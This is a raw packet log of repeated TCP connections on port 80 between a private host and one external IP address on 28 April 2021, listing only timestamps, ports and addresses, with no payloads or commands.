Apr 28, 2021 23:25:26.998044968 CEST	50439	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.058232069 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058265924 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058273077 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058279991 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058502913 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.058692932 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058712959 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058811903 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.058835030 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058847904 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.058917046 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.059144974 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.059340954 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.059437037 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.059504986 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.059542894 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.059606075 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.059720039 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.059860945 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.090250015 CEST	80	50437	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.091928005 CEST	50437	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.093817949 CEST	80	50439	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.093924046 CEST	50439	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.094588041 CEST	50439	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.159750938 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.159769058 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.159776926 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.159884930 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.159919024 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160008907 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160078049 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160089970 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160096884 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160140038 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160218954 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160226107 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160315990 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160414934 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160486937 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160584927 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160595894 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.160681963 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.160790920 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.161066055 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.161228895 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.190300941 CEST	80	50439	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.194093943 CEST	80	50439	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.194226027 CEST	50439	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.261271954 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261303902 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261320114 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261332989 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261346102 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261527061 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261673927 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261694908 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261775970 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.261948109 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.262128115 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.262146950 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.262295961 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.262455940 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.262482882 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.262653112 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.264389038 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.264637947 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.309449911 CEST	50439	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.311244965 CEST	50441	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.365827084 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.365962982 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.404851913 CEST	80	50439	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.405021906 CEST	50439	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.411314011 CEST	80	50441	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.411495924 CEST	50441	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.412587881 CEST	50441	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.513956070 CEST	80	50441	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.517709970 CEST	80	50441	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.517802000 CEST	50441	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.622441053 CEST	50441	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.623816967 CEST	50442	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.720773935 CEST	80	50442	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.720874071 CEST	50442	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.721612930 CEST	50442	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.723339081 CEST	80	50441	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.723411083 CEST	50441	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.817017078 CEST	80	50442	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.820342064 CEST	80	50442	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:27.820492029 CEST	50442	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.934878111 CEST	50442	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:27.937028885 CEST	50443	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.030648947 CEST	80	50442	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.030756950 CEST	50442	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.037316084 CEST	80	50443	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.037415981 CEST	50443	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.038084030 CEST	50443	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.139837027 CEST	80	50443	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.143692970 CEST	80	50443	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.143825054 CEST	50443	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.247000933 CEST	50443	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.248358011 CEST	50444	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.347738981 CEST	80	50443	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.347769022 CEST	80	50444	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.347830057 CEST	50443	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.347943068 CEST	50444	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.348406076 CEST	50444	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.446362972 CEST	80	50444	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.450269938 CEST	80	50444	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.450436115 CEST	50444	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.559951067 CEST	50444	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.561166048 CEST	50446	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.659641981 CEST	80	50444	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.660959959 CEST	50444	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.662597895 CEST	80	50446	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.662698984 CEST	50446	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.663320065 CEST	50446	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.763487101 CEST	80	50446	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.767548084 CEST	80	50446	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.767620087 CEST	50446	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.875262976 CEST	50446	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.876395941 CEST	50447	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.977150917 CEST	80	50446	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.977375031 CEST	50446	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.978441000 CEST	80	50447	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:28.978821993 CEST	50447	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:28.979552984 CEST	50447	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.080030918 CEST	80	50447	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.084310055 CEST	80	50447	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.084477901 CEST	50447	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.205903053 CEST	50447	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.208085060 CEST	50448	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.302901030 CEST	80	50448	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.303344965 CEST	50448	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.303891897 CEST	50448	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.306494951 CEST	80	50447	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.306968927 CEST	50447	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.400223970 CEST	80	50448	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.404166937 CEST	80	50448	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.404304028 CEST	50448	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.512795925 CEST	50448	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.514194012 CEST	50449	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.547894955 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.607636929 CEST	80	50448	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.607743025 CEST	50448	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.622385979 CEST	80	50449	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.622478962 CEST	50449	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.623111010 CEST	50449	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.643248081 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.643460035 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.643767118 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.732517958 CEST	80	50449	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.736040115 CEST	80	50449	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.736154079 CEST	50449	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.741147995 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.741277933 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.741687059 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.741775036 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.741899967 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.741972923 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.741976976 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.742033958 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.742340088 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.742425919 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.742705107 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.742784977 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.743149042 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.743244886 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.743299961 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.743372917 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.743422985 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.743485928 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.836541891 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.836647034 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.836724043 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.836777925 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.838319063 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838334084 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838340998 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838355064 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838368893 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838380098 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838392019 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838402987 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838413000 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838424921 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838485956 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838499069 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.838509083 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.838577032 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.838603020 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.840610027 CEST	50449	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.842012882 CEST	50451	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.931987047 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.932009935 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.932018042 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.932035923 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.932117939 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.932178020 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.932197094 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.933549881 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.933566093 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.933757067 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.933896065 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.933916092 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.934129000 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.934154987 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.934194088 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.934299946 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.934323072 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.934340954 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.934576035 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.940151930 CEST	80	50451	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.940268040 CEST	50451	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.941047907 CEST	50451	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:29.948389053 CEST	80	50449	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:29.948492050 CEST	50449	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.028964043 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.028996944 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.029005051 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.029105902 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.030651093 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.030818939 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.030854940 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.030980110 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.031182051 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.031194925 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.031337976 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.031538963 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.033318996 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.033457041 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.040152073 CEST	80	50451	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.043987036 CEST	80	50451	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.044202089 CEST	50451	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.128541946 CEST	80	50450	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.128637075 CEST	50450	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.153507948 CEST	50451	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.156147003 CEST	50453	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.251348972 CEST	80	50451	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.251497984 CEST	50451	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.254024029 CEST	80	50453	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.254229069 CEST	50453	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.254968882 CEST	50453	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.352835894 CEST	80	50453	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.356934071 CEST	80	50453	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.357183933 CEST	50453	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.465969086 CEST	50453	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.467648029 CEST	50454	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.563852072 CEST	80	50453	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.563950062 CEST	50453	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.567621946 CEST	80	50454	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.567821026 CEST	50454	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.568501949 CEST	50454	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.670485020 CEST	80	50454	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.674048901 CEST	80	50454	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.674241066 CEST	50454	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.778086901 CEST	50454	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.779133081 CEST	50455	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.877309084 CEST	80	50455	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.877484083 CEST	50455	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.877991915 CEST	50455	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.879492998 CEST	80	50454	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.879640102 CEST	50454	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:30.973963976 CEST	80	50455	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.977859974 CEST	80	50455	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:30.978032112 CEST	50455	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.091819048 CEST	50455	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.096187115 CEST	50457	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.190077066 CEST	80	50455	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.190181017 CEST	50455	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.196707010 CEST	80	50457	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.196841955 CEST	50457	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.197444916 CEST	50457	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.298136950 CEST	80	50457	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.302122116 CEST	80	50457	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.302409887 CEST	50457	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.420140982 CEST	50457	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.420320988 CEST	50458	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.517740011 CEST	80	50458	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.518012047 CEST	50458	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.519218922 CEST	50458	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.519665003 CEST	80	50457	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.520540953 CEST	50457	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.618391037 CEST	80	50458	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.622140884 CEST	80	50458	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.622935057 CEST	50458	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.738429070 CEST	50458	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.743885040 CEST	50459	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.837537050 CEST	80	50458	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.838073969 CEST	50458	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.843549013 CEST	80	50459	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.844413042 CEST	50459	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.845114946 CEST	50459	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:31.942809105 CEST	80	50459	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.946795940 CEST	80	50459	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:31.946880102 CEST	50459	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.059539080 CEST	50459	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.060596943 CEST	50460	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.156147003 CEST	80	50460	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.156440020 CEST	50460	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.157170057 CEST	80	50459	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.157264948 CEST	50459	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.157650948 CEST	50460	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.254755020 CEST	80	50460	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.258347988 CEST	80	50460	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.258512974 CEST	50460	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.338610888 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.373023033 CEST	50460	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.374283075 CEST	50462	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.439738989 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.439960003 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.440541029 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.468395948 CEST	80	50460	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.468585014 CEST	50460	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.469625950 CEST	80	50462	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.469779015 CEST	50462	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.470971107 CEST	50462	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.539747000 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.539786100 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.539823055 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.539859056 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.539864063 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.540019035 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.568038940 CEST	80	50462	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.572170019 CEST	80	50462	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.572319031 CEST	50462	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.640387058 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.640465975 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.640486956 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.640542030 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.640553951 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.640640974 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.640710115 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.640885115 CEST	80	50461	176.111.174.114	192.168.2.5
